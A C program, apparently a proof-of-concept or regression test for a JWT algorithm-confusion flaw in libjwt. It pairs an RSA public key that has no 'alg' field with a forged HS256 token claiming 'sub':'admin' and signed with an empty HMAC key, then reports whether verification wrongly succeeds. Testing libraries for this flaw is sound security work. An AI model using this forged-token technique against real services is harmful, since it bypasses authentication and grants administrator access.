#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <jwt.h>

/* RSA public JWK without an "alg" parameter */
static const char *rsa_jwk_no_alg = "{"
	"\"keys\": ["
	"  {"
	"    \"use\": \"sig\","
	"    \"key_ops\": [\"verify\"],"
	"    \"kid\": \"rsa-no-alg\","
	"    \"kty\": \"RSA\","
	"    \"n\": \"wtpMAM4l1H995oqlqdMhuqNuffp4-4aUCwuFE9B5s9MJr63gyf8jW0oDr7Mb1Xb8y9iGkWfhouZqNJbMFry-iBs-z2TtJF06vbHQZzajDsdux3XVfXv9v6dDIImyU24MsGNkpNt0GISaaiqv51NMZQX0miOXXWdkQvWTZFXhmsFCmJLE67oQFSar4hzfAaCulaMD-b3Mcsjlh0yvSq7g6swiIasEU3qNLKaJAZEzfywroVYr3BwM1IiVbQeKgIkyPS_85M4Y6Ss_T-OWi1OeK49NdYBvFP-hNVEoeZzJz5K_nd6C35IX0t2bN5CVXchUFmaUMYk2iPdhXdsC720tBw\","
	"    \"e\": \"AQAB\""
	"  }"
	"]"
	"}";

/* Forged HS256 token signed with empty HMAC key:
 * header:  {"alg":"HS256","kid":"rsa-no-alg"}
 * payload: {"sub":"admin"}
 * sig = HMAC-SHA256("", base64url(header) + "." + base64url(payload))
 */
static const char *forged_hs256_token =
	"eyJhbGciOiJIUzI1NiIsImtpZCI6InJzYS1uby1hbGcifQ"
	".eyJzdWIiOiJhZG1pbiJ9"
	".I2Ey63EMS9lOFEL93tQM8eB8cCnH6QJy0rIe1HVEI3I";

int main(int argc, char **argv)
{
	jwk_set_t *jwk_set = NULL;
	const jwk_item_t *item = NULL;
	jwt_checker_t *checker = NULL;
	int ret;

	(void)argc;
	(void)argv;

	jwk_set = jwks_create(rsa_jwk_no_alg);
	if (jwk_set == NULL || jwks_error(jwk_set)) {
		fprintf(stderr, "Failed to parse JWK\n");
		return 1;
	}

	item = jwks_item_get(jwk_set, 0);
	if (item == NULL || jwks_item_error(item)) {
		fprintf(stderr, "Failed to get JWK item\n");
		return 1;
	}

	checker = jwt_checker_new();
	if (checker == NULL) {
		fprintf(stderr, "Failed to create checker\n");
		return 1;
	}

	ret = jwt_checker_setkey(checker, JWT_ALG_HS256, item);
	if (ret != 0) {
		fprintf(stderr, "setkey rejected: %s\n",
			jwt_checker_error_msg(checker) ? jwt_checker_error_msg(checker) : "unknown");
		jwks_free(jwk_set);
		jwt_checker_free(checker);
		return 2; /* fixed behavior: mismatch rejected at setkey */
	}

	ret = jwt_checker_verify(checker, forged_hs256_token);
	if (ret == 0) {
		fprintf(stderr, "VERIFY SUCCEEDED (VULNERABLE)\n");
		jwks_free(jwk_set);
		jwt_checker_free(checker);
		return 0;
	} else {
		fprintf(stderr, "VERIFY FAILED: %s\n",
			jwt_checker_error_msg(checker) ? jwt_checker_error_msg(checker) : "unknown");
		jwks_free(jwk_set);
		jwt_checker_free(checker);
		return 3;
	}
}
